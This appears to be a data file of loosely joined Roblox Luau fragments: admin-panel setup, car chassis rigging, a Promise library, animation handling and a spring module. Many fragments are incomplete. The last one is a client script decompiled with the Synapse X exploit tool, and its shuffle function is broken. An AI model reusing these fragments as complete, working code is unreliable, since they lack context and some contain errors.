script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.MouseButton1Click:connect(function()
if hinge.DesiredAngle == 0 then
sound.SoundId = "rbxassetid://278329638"
sound:Play()
wait(.4)
hinge.DesiredAngle = -1.47
else
hinge.DesiredAngle = 0
sound.SoundId = "rbxassetid://278329638"
sound:Play()
end
end)
|
--[[
This is a script that makes an anchored brick rotate!
Just resize the brick to your desired size!
This script was made by ProjectTwo
Free for anyone to use!
]]
|
while true do
wait()
script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0, math.pi/200, 0)
end
|
-- missile.Position = spawnPos
|
missile.Size = Vector3.new(1,1,1)
|
--
--
|
local Info = {
-- These are constant values. Don't change them unless you know what you're doing.
-- Services
Players = Game:GetService 'Players',
PathfindingService = Game:GetService 'PathfindingService',
-- Advanced settings
RecomputePathFrequency = 1, -- The monster will recompute its path this many times per second
RespawnWaitTime = 1, -- How long to wait before the monster respawns
JumpCheckFrequency = 1, -- How many times per second it will do a jump check
}
local Data = {
-- These are variable values used internally by the script. Advanced users only.
LastRecomputePath = 0,
Recomputing = false, -- Reocmputing occurs async, meaning this script will still run while it's happening. This variable will prevent the script from running two recomputes at once.
PathCoords = {},
IsDead = false,
TimeOfDeath = 0,
CurrentNode = nil,
CurrentNodeIndex = 1,
AutoRecompute = true,
LastJumpCheck = 0,
LastAttack = 0,
BaseMonster = Self:Clone(),
AttackTrack = nil,
}
|
-- << RETRIEVE FRAMEWORK >>
|
local main = _G.HDAdminMain
local commandInfoForClient = {"Contributors", "Prefixes", "Rank", "Aliases", "Tags", "Description", "Args", "Loopable"}
function module:Setup()
--Grab all tools
local locationsToScan = {main.lighting, main.rs, main.ss, main.starterPack}
for _, l in pairs(locationsToScan) do
for a,b in pairs(l:GetDescendants()) do
if b:IsA("Tool") and b.Parent.Name ~= "BuildingTools" then
table.insert(main.listOfTools, b)
end
end
end
--Setup morphNames and toolNames
for _, morph in pairs(main.server.Morphs:GetChildren()) do
main.morphNames[tostring(morph.Name)] = true
end
for _, tool in pairs(main.listOfTools) do
main.toolNames[tostring(tool.Name)] = true
end
--
local newRankRequiredToViewRankType = {}
for subSettingName, rankId in pairs(main.settings.RankRequiredToViewRankType) do
subSettingName = string.lower(subSettingName)
newRankRequiredToViewRankType[subSettingName] = rankId
end
main.settings.RankRequiredToViewRankType = newRankRequiredToViewRankType
--
local newRankRequiredToViewRank = {}
for subSettingName, rankId in pairs(main.settings.RankRequiredToViewRank) do
subSettingName = tonumber(subSettingName) or main:GetModule("cf"):GetRankId(subSettingName)
newRankRequiredToViewRank[subSettingName] = rankId
end
main.settings.RankRequiredToViewRank = newRankRequiredToViewRank
--
for settingName, details in pairs(main.settings) do
if settingName == "BatchKey" then
main.settings.BatchKey = tostring(details)
elseif settingName == "ChatColors" then
local newSetting = {}
for rank, color in pairs(details) do
local chatRankId = rank
local chatColor3 = color
if not tonumber(rank) then
chatRankId = main:GetModule("cf"):GetRankId(rank)
end
if type(color) ~= "userdata" then
chatColor3 = main:GetModule("cf"):GetColorFromString(color)
end
newSetting[chatRankId] = chatColor3
end
main.settings.ChatColors = newSetting
elseif settingName == "CoreNotices" then
for noticeName, notice in pairs(details) do
main:GetModule("CoreNotices")[noticeName] = notice
end
elseif settingName == "IgnoreScaleLimit" or settingName == "ViewBanland" or settingName == "IgnoreGearBlacklist" or settingName == "IgnoreCommandLimitPerMinute" then
if tonumber(details) == nil then
main.settings[settingName] = main:GetModule("cf"):GetRankId(details)
end
elseif settingName == "RankRequiredToViewPage" or settingName == "RankRequiredToViewRank" or settingName == "RankRequiredToViewRankType" then
for subSettingName, rankId in pairs(details) do
if tonumber(rankId) == nil then
main.settings[settingName][subSettingName] = main:GetModule("cf"):GetRankId(rankId)
end
end
elseif settingName == "Banned" then
for i,userIdSet in pairs(details) do
coroutine.wrap(function()
local userId = tonumber(userIdSet)
if not userId then
userId = main:GetModule("cf"):GetUserId(userIdSet)
end
userId = tonumber(userId) or main:GetModule("cf"):GetUserId(userId)
local record = {
UserId = userId;
BanTime = "";
Reason = "";
Server = "All";
SettingsBan = true;
BannedBy = main.ownerId;
}
table.insert(main.settingsBanRecords, record)
main.banned[tostring(userId)] = true
end)()
end
elseif settingName == "VIPServerCommandBlacklist" then
main.settings[settingName] = (type(details) == "table" and details) or {}
for i,v in pairs(details) do
main.blacklistedVipServerCommands[string.lower(v)] = true
end
elseif settingName == "CommandLimits" then
main.settings[settingName] = (type(details) == "table" and details) or {}
for commandName, limitDetails in pairs(details) do
local lowercaseName = string.lower(commandName)
main.settings[settingName][lowercaseName] = limitDetails
if lowercaseName ~= commandName then
main.settings[settingName][commandName] = nil
end
end
elseif settingName == "NoticeSoundId" or settingName == "ErrorSoundId" then
if details == 261082034 then -- Notice
main.settings[settingName] = 2865227271
main.settings.NoticeVolume = 0.1
elseif details == 138090596 then -- Error
main.settings[settingName] = 2865228021
main.settings.ErrorVolume = 0.1
end
elseif settingName == "Ranks" then
for _, rankDetails in pairs(details) do
local rankId = rankDetails[1]
local rankName = rankDetails[2]
local specificUsers = rankDetails[3]
if rankId > 5 then
rankId = 5
elseif rankId < 0 then
rankId = 0
end
if specificUsers == nil or rankId == 5 or rankId == 0 then
specificUsers = {}
end
for i,plrName in pairs(specificUsers) do
if tonumber(plrName) then
plrName = main:GetModule("cf"):GetName(plrName)
end
main.permissions.specificUsers[plrName] = rankId
end
end
elseif settingName == "Gamepasses" then
for productName, productId in pairs(main.products) do
details[productId] = productName
end
for gamepassId, rankId in pairs(details) do
gamepassId = tonumber(gamepassId)
if gamepassId and gamepassId > 0 then
local success, productInfo = pcall(function() return(main:GetModule("cf"):GetProductInfo(gamepassId, Enum.InfoType.GamePass)) end)
if not success or not productInfo.Name then
warn("HD Admin | You entered an invalid GamepassId: ".. tostring(gamepassId))
else
if gamepassId and gamepassId > 0 then
if tonumber(rankId) == nil then
rankId = main:GetModule("cf"):GetRankId(rankId)
end
if gamepassId then
productInfo.Rank = rankId
main.permissions.gamepasses[tostring(gamepassId)] = productInfo
end
end
end
end
end
elseif settingName == "Assets" then
for assetId, rankId in pairs(details) do
assetId = tonumber(assetId)
if assetId and assetId > 0 then
local success, productInfo = pcall(function() return(main:GetModule("cf"):GetProductInfo(assetId, Enum.InfoType.Asset)) end)
if not success or not productInfo.Name then
warn("HD Admin | You entered an invalid AssetId: ".. tostring(assetId))
else
if tonumber(rankId) == nil then
rankId = main:GetModule("cf"):GetRankId(rankId)
end
if assetId then
productInfo.Rank = rankId
main.permissions.assets[tostring(assetId)] = productInfo
end
end
end
end
elseif settingName == "Groups" then
details[main.hdAdminGroup.Id] = {}
for groupId, groupDetails in pairs(details) do
groupId = tonumber(groupId)
if groupId and groupId > 0 then
local success, groupInfo = pcall(function() return(main.groupService:GetGroupInfoAsync(groupId)) end)
if not success then
warn("HD Admin | You entered an invalid GroupId: ".. tostring(groupId))
else
local roles = groupInfo.Roles
if roles then
local newRoles = {}
for _, roleDetails in pairs(roles) do
newRoles[roleDetails.Name] = {}
newRoles[roleDetails.Name].GroupRank = roleDetails.Rank
end
groupInfo.Roles = newRoles
for roleName, rankId in pairs(groupDetails) do
if tonumber(roleName) then
for rN, roleDetails in pairs(newRoles) do
if roleDetails.GroupRank == roleName then
roleName = rN
end
end
end
if tonumber(rankId) == nil then
rankId = main:GetModule("cf"):GetRankId(rankId)
end
if groupInfo.Roles[roleName] then
groupInfo.Roles[roleName].Rank = rankId
else
--warn("HD Admin: Entered incorrect role Name/ID. That role does not exists.")
end
end
end
if groupId == main.hdAdminGroup.Id then
main.hdAdminGroup.Info = groupInfo
else
main.permissions.groups[tostring(groupId)] = groupInfo
end
end
end
end
elseif settingName == "Friends" or settingName == "FreeAdmin" or settingName == "VipServerOwner" or settingName == "VipServerPlayers" then
local rankId = details
if tonumber(rankId) == nil then
rankId = main:GetModule("cf"):GetRankId(rankId)
end
local lowerCase = string.lower(string.sub(settingName,1,1))
local variableName = string.gsub(settingName,"%a",lowerCase, 1)
main.permissions[variableName] = rankId
end
end
end
return module
|
--- Returns true if the command has an implementation on the caller's machine.
|
function Command:HasImplementation()
return ((RunService:IsClient() and self.Object.ClientRun) or self.Object.Run) and true or false
end
return Command
|
-- Implements Javascript's `Map.prototype.forEach` as defined below
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/forEach
|
function Set:forEach(callback: setCallbackFn<any> | setCallbackFnWithThisArg<any>, thisArg: Object?): ()
if typeof(callback) ~= "function" then
error("callback is not a function")
end
-- note: we can't turn this into a simple for-in loop, because the callbacks can modify the table and React, GQL, and Jest rely on JS behavior in that scenario
arrayForEach(self._array, function(value)
if thisArg ~= nil then
(callback :: setCallbackFnWithThisArg<any>)(thisArg, value, value, self)
else
(callback :: setCallbackFn<any>)(value, value, self)
end
end)
end
function Set:has(value): boolean
return self._map[value] ~= nil
end
function Set:ipairs()
if _G.__DEV__ then
warn(
debug.traceback(
"`for _,_ in mySet:ipairs() do` is deprecated and will be removed in a future release, please use `for _,_ in mySet do` instead\n",
2
)
)
end
return ipairs(self._array)
end
return Set
|
--Still Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill--Still Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill
--Still Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill till Chill
| |
--
|
script.Parent:WaitForChild("A-Chassis Interface")
script.Parent:WaitForChild("Plugins")
script.Parent:WaitForChild("README")
local car=script.Parent.Parent
local _Tune=require(script.Parent)
local Drive=car.Wheels:GetChildren()
function getParts(model,t,a)
for i,v in pairs(model:GetChildren()) do
if v:IsA("BasePart") then table.insert(t,{v,a.CFrame:toObjectSpace(v.CFrame)})
elseif v:IsA("Model") then getParts(v,t,a)
end
end
end
for _,v in pairs(Drive) do
for _,a in pairs({"Top","Bottom","Left","Right","Front","Back"}) do
v[a.."Surface"]=Enum.SurfaceType.SmoothNoOutlines
end
local WParts = {}
local tPos = v.Position-car.DriveSeat.Position
if v.Name=="FL" or v.Name=="RL" then
v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(90))
else
v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(-90))
end
v.CFrame = v.CFrame+tPos
if v:FindFirstChild("Parts")~=nil then
getParts(v.Parts,WParts,v)
end
if v:FindFirstChild("Fixed")~=nil then
getParts(v.Fixed,WParts,v)
end
if v.Name=="FL" or v.Name=="FR" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),0,0)
if v.Name=="FL" then
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.FToe))
else
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.FToe))
end
elseif v.Name=="RL" or v.Name=="RR" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),0,0)
if v.Name=="RL" then
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.RToe))
else
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.RToe))
end
end
for _,a in pairs(WParts) do
a[1].CFrame=v.CFrame:toWorldSpace(a[2])
end
if v.Name=="FL" then
v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.FCaster),0)
elseif v.Name=="FR" or v.Name=="F" then
v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.FCaster),0)
elseif v.Name=="RL" then
v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.RCaster),0)
elseif v.Name=="RR" or v.Name=="R" then
v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.RCaster),0)
end
local arm=Instance.new("Part",v)
arm.Name="Arm"
arm.Anchored=true
arm.CanCollide=false
arm.FormFactor=Enum.FormFactor.Custom
arm.Size=Vector3.new(1,1,1)
arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0)
arm.TopSurface=Enum.SurfaceType.Smooth
arm.BottomSurface=Enum.SurfaceType.Smooth
arm.Transparency=1
local base=arm:Clone()
base.Parent=v
base.Name="Base"
base.CFrame=base.CFrame*CFrame.new(0,1,0)
base.BottomSurface=Enum.SurfaceType.Hinge
local axle=arm:Clone()
axle.Parent=v
axle.Name="Axle"
axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
axle.BackSurface=Enum.SurfaceType.Hinge
if v.Name=="F" or v.Name=="R" then
local axle2=arm:Clone()
axle2.Parent=v
axle2.Name="Axle"
axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
axle2.BackSurface=Enum.SurfaceType.Hinge
MakeWeld(arm,axle2)
end
MakeWeld(car.DriveSeat,base)
if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then
MakeWeld(car.DriveSeat,arm)
end
MakeWeld(arm,axle)
arm:MakeJoints()
axle:MakeJoints()
if v:FindFirstChild("Fixed")~=nil then
ModelWeld(v.Fixed,axle)
end
if v:FindFirstChild("Parts")~=nil then
ModelWeld(v.Parts,v)
end
if v:FindFirstChild("Steer") then
v:FindFirstChild("Steer"):Destroy()
end
local gyro=Instance.new("BodyGyro",v)
gyro.Name="Stabilizer"
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
gyro.D=_Tune.FGyroD
gyro.MaxTorque=_Tune.FGyroMaxTorque
gyro.P=_Tune.FGyroP
else
gyro.D=_Tune.RGyroD
gyro.MaxTorque=_Tune.RGyroMaxTorque
gyro.P=_Tune.RGyroP
end
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
local steer=Instance.new("BodyGyro",arm)
steer.Name="Steer"
steer.P=_Tune.SteerP
steer.D=_Tune.SteerD
steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)
steer.cframe=base.CFrame
else
MakeWeld(base,axle,"Weld")
end
local AV=Instance.new("BodyAngularVelocity",v)
AV.Name="#AV"
AV.angularvelocity=Vector3.new(0,0,0)
AV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce)
AV.P=1e9
end
for i,v in pairs(script:GetChildren()) do
if v:IsA("ModuleScript") then
require(v)
end
end
wait()
ModelWeld(car.Body,car.DriveSeat)
local flipG = Instance.new("BodyGyro",car.DriveSeat)
flipG.Name = "Flip"
flipG.D = 0
flipG.MaxTorque = Vector3.new(0,0,0)
flipG.P = 0
wait()
UnAnchor(car)
script.Parent["A-Chassis Interface"].Car.Value=car
for i,v in pairs(script.Parent.Plugins:GetChildren()) do
for _,a in pairs(v:GetChildren()) do
if a:IsA("RemoteEvent") or v:IsA("RemoteFunction") then
a.Parent=car
for _,b in pairs(a:GetChildren()) do
if b:IsA("Script") then b.Disabled=false end
end
end
end
v.Parent = script.Parent["A-Chassis Interface"]
end
script.Parent.Plugins:Destroy()
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
car.DriveSeat:SetNetworkOwner(p)
local g=script.Parent["A-Chassis Interface"]:Clone()
g.Parent=p.PlayerGui
end
end)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") then
for i,v in pairs(car.DriveSeat:GetChildren()) do
if v:IsA("Sound") then v:Stop() end
end
if car.DriveSeat:FindFirstChild("Flip")~=nil then
car.DriveSeat.Flip.MaxTorque = Vector3.new()
end
for i,v in pairs(car.Wheels:GetChildren()) do
if v:FindFirstChild("#AV")~=nil then
if v["#AV"].AngularVelocity.Magnitude>0 then
v["#AV"].AngularVelocity = Vector3.new()
v["#AV"].MaxTorque = Vector3.new()
end
end
end
end
end)
ver = require(script.Parent.README)
|
-- Hook events
|
Entry.TextBox.FocusLost:Connect(function(submit)
return Window:LoseFocus(submit)
end)
UserInputService.InputBegan:Connect(function(input, gameProcessed)
return Window:BeginInput(input, gameProcessed)
end)
Entry.TextBox:GetPropertyChangedSignal("Text"):Connect(function()
if Entry.TextBox.Text:match("\t") then -- Eat \t
Entry.TextBox.Text = Entry.TextBox.Text:gsub("\t", "")
return
end
if Window.OnTextChanged then
return Window.OnTextChanged(Entry.TextBox.Text)
end
end)
Gui.ChildAdded:Connect(Window.UpdateWindowHeight)
return Window
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 3 -- cooldown for use of the tool again
BoneModelName = "Leg zone" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[=[
Checks whether the given object is a Promise via duck typing. This only checks if the object is a table and has an `andThen` method.
@param object any
@return boolean -- `true` if the given `object` is a Promise.
]=]
|
function Promise.is(object)
if type(object) ~= "table" then
return false
end
local objectMetatable = getmetatable(object)
if objectMetatable == Promise then
-- The Promise came from this library.
return true
elseif objectMetatable == nil then
-- No metatable, but we should still chain onto tables with andThen methods
return type(object.andThen) == "function"
elseif
type(objectMetatable) == "table"
and type(rawget(objectMetatable, "__index")) == "table"
and type(rawget(rawget(objectMetatable, "__index"), "andThen")) == "function"
then
-- Maybe this came from a different or older Promise library.
return true
end
return false
end
|
-- From a LocalScript
|
local Knit = require(game:GetService("ReplicatedStorage").Knit)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local PointsService = Knit.GetService("PointsService")
local CameraController = Knit.GetService("CameraController")
Knit.AddControllers(ReplicatedStorage.Services.ClientControllers)
local function PointsChanged(points)
print("My points:", points)
end
|
--Give submit button functionality.
|
script.Parent.ImageButton.MouseButton1Click:connect(function()
svh:FireServer(script.Parent.TextBox.Text)
end)
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
if currentlyPlayingEmote then
oldAnim = "idle"
currentlyPlayingEmote = false
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
if not Humanoid.AutomaticScalingEnabled then
-- When auto scaling is not enabled, the rig scale stands in for
-- a computed scale.
return getRigScale()
end
local scale = Humanoid.HipHeight / HumanoidHipHeight
if AnimationSpeedDampeningObject == nil then
AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
end
if AnimationSpeedDampeningObject ~= nil then
scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight
end
return scale
end
return getRigScale()
end
local function rootMotionCompensation(speed)
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
local runSpeed = speedScaled / heightScale
return runSpeed
end
local smallButNotZero = 0.0001
local function setRunSpeed(speed)
local normalizedWalkSpeed = 0.5 -- established empirically using current `913402848` walk animation
local normalizedRunSpeed = 1
local runSpeed = rootMotionCompensation(speed)
local walkAnimationWeight = smallButNotZero
local runAnimationWeight = smallButNotZero
local walkAnimationTimewarp = runSpeed/normalizedWalkSpeed
local runAnimationTimerwarp = runSpeed/normalizedRunSpeed
if runSpeed <= normalizedWalkSpeed then
walkAnimationWeight = 1
elseif runSpeed < normalizedRunSpeed then
local fadeInRun = (runSpeed - normalizedWalkSpeed)/(normalizedRunSpeed - normalizedWalkSpeed)
walkAnimationWeight = 1 - fadeInRun
runAnimationWeight = fadeInRun
walkAnimationTimewarp = 1
runAnimationTimerwarp = 1
else
runAnimationWeight = 1
end
currentAnimTrack:AdjustWeight(walkAnimationWeight)
runAnimTrack:AdjustWeight(runAnimationWeight)
currentAnimTrack:AdjustSpeed(walkAnimationTimewarp)
runAnimTrack:AdjustSpeed(runAnimationTimerwarp)
end
function setAnimationSpeed(speed)
if currentAnim == "walk" then
setRunSpeed(speed)
else
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
if userNoUpdateOnLoop == true then
if runAnimTrack.Looped ~= true then
runAnimTrack.TimePosition = 0.0
end
if currentAnimTrack.Looped ~= true then
currentAnimTrack.TimePosition = 0.0
end
else
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
end
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
if currentlyPlayingEmote then
if currentAnimTrack.Looped then
-- Allow the emote to loop
return
end
repeatAnim = "idle"
currentlyPlayingEmote = false
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
local function switchToAnim(anim, animName, transitionTime, humanoid)
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
if userNoUpdateOnLoop == true then
runAnimTrack = nil
end
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
switchToAnim(anim, animName, transitionTime, humanoid)
currentlyPlayingEmote = false
end
function playEmote(emoteAnim, transitionTime, humanoid)
switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid)
currentlyPlayingEmote = true
end
|
--[[Steering]]
|
Tune.SteerInner = 35 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 35 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
wait()
end
local LocalPlayer = Players.LocalPlayer
local Mouse = LocalPlayer:GetMouse()
local PlayerGui = LocalPlayer:WaitForChild('PlayerGui')
local ScreenGui = nil
local ShiftLockIcon = nil
local IsShiftLockMode = false
local IsShiftLocked = false
local IsActionBound = false
|
-- Functions
|
function SPRING.create(mass, force, damping, speed)
local spring = {
Target = Vector3.new();
Position = Vector3.new();
Velocity = Vector3.new();
Time = 0;
Mass = mass or 5;
Force = force or 50;
Damping = damping or 4;
Speed = speed or 4;
}
return setmetatable(spring, Meta)
end
function SPRING:shove(force)
local x, y, z = force.X, force.Y, force.Z
if x == math.huge or x == -math.huge then
x = 0
end
if y == math.huge or y == -math.huge then
y = 0
end
if z == math.huge or z == -math.huge then
z = 0
end
self.Velocity += Vector3.new(x, y, z)
end
function SPRING:update(dt)
local Time = math.min(self.Time + dt * self.Speed, FixedRate * MaxSkips)
for i = 1, math.floor(Time / FixedRate) * ITERATIONS do
local iterationForce = self.Target - self.Position
local acceleration = (iterationForce * self.Force) / self.Mass
acceleration -= self.Velocity * self.Damping
self.Velocity += acceleration * iterdt
self.Position += self.Velocity * iterdt
Time -= iterdt
end
self.Time = Time
if self.Position.Magnitude > .00001 then
return self.Position
end
return Vector3.zero
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v3 = game["Run Service"];
local l__mouse__4 = l__LocalPlayer__1:GetMouse();
local v5 = {};
local u1 = require(script.Parent);
local l__TweenService__2 = game:GetService("TweenService");
local l__UserInputService__3 = game:GetService("UserInputService");
local l__MinigameBackout__4 = script:FindFirstAncestor("MainUI").MinigameBackout;
local l__Parent__5 = script.Parent.Parent.Parent;
local function u6(p1)
for v6 = #p1, 1, -1 do
local v7 = math.random(v6);
p1[v6] = p1[v7];
p1[v7] = p1[v6];
end;
end;
local function u7(p2)
if u1.stopcam == true then
return;
end;
u1.hum:UnequipTools();
if p2 == "Padlock" then
require(script.Padlock)(u1);
end;
local u8 = nil;
u8 = coroutine.create(function()
if p2 == "ElevatorBreaker" then
u1.stopcam = true;
u1.freemouse = true;
u1.hideplayers = 2;
local v8 = CFrame.new(0, 0, 0);
local v9 = tick() + 2;
local l__WorldCFrame__10 = workspace:FindFirstChild("ElevatorBreakerCameraCFrame", true).WorldCFrame;
u1.camShaker:ShakeOnce(2, 0.5, 0.5, 8);
local l__CFrame__9 = u1.cam.CFrame;
local l__FieldOfView__10 = u1.cam.FieldOfView;
local u11 = false;
task.spawn(function()
for v11 = 1, 100000 do
task.wait();
local v12 = l__TweenService__2:GetValue((2 - math.abs(tick() - v9)) / 2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
if not (tick() <= v9) then
break;
end;
u1.cam.CFrame = l__CFrame__9:Lerp(l__WorldCFrame__10, v12) * u1.csgo;
u1.cam.FieldOfView = l__FieldOfView__10 + (57 - l__FieldOfView__10) * v12;
end;
u1.cam.CFrame = l__WorldCFrame__10 * u1.csgo;
for v13 = 1, 10000000000000 do
task.wait();
u1.cam.CFrame = l__WorldCFrame__10 * u1.csgo;
if u11 == true then
break;
end;
end;
end);
wait(1);
u1.char.PrimaryPart.Anchored = true;
local l__ElevatorBreaker__14 = workspace:FindFirstChild("ElevatorBreaker", true);
local l__ActivateEventPrompt__15 = l__ElevatorBreaker__14:FindFirstChild("ActivateEventPrompt");
l__ActivateEventPrompt__15.Parent = nil;
local v16 = l__ElevatorBreaker__14:Clone();
v16.Parent = l__ElevatorBreaker__14.Parent;
l__ActivateEventPrompt__15.Parent = v16;
l__ActivateEventPrompt__15.Enabled = false;
local l__Selector__17 = v16.XBoxUI:FindFirstChild("Selector", true);
v16.XBoxUI.Enabled = l__UserInputService__3.GamepadEnabled;
l__ElevatorBreaker__14:Destroy();
v16:WaitForChild("DoorHinge").TargetAngle = 135;
local l__Door__18 = v16.Door;
l__Door__18.CFrame = l__Door__18.CFrame + Vector3.new(0, 0.05, 0);
local l__SurfaceGui__19 = v16:WaitForChild("SurfaceGui");
local u12 = {};
local function v20()
local v21 = 0;
for v22, v23 in pairs(v16:GetChildren()) do
if v23.Name == "BreakerSwitch" then
local v24 = v23:GetAttribute("ID");
local v25 = v23:GetAttribute("Enabled");
for v26, v27 in pairs(u12) do
if v27[1] == v24 and v27[2] == v25 then
v21 = v21 + 1;
end;
end;
end;
end;
return v21;
end;
local u13 = nil;
local u14 = nil;
local function u15(p3, p4)
if p4 == nil then
p4 = not p3:GetAttribute("Enabled");
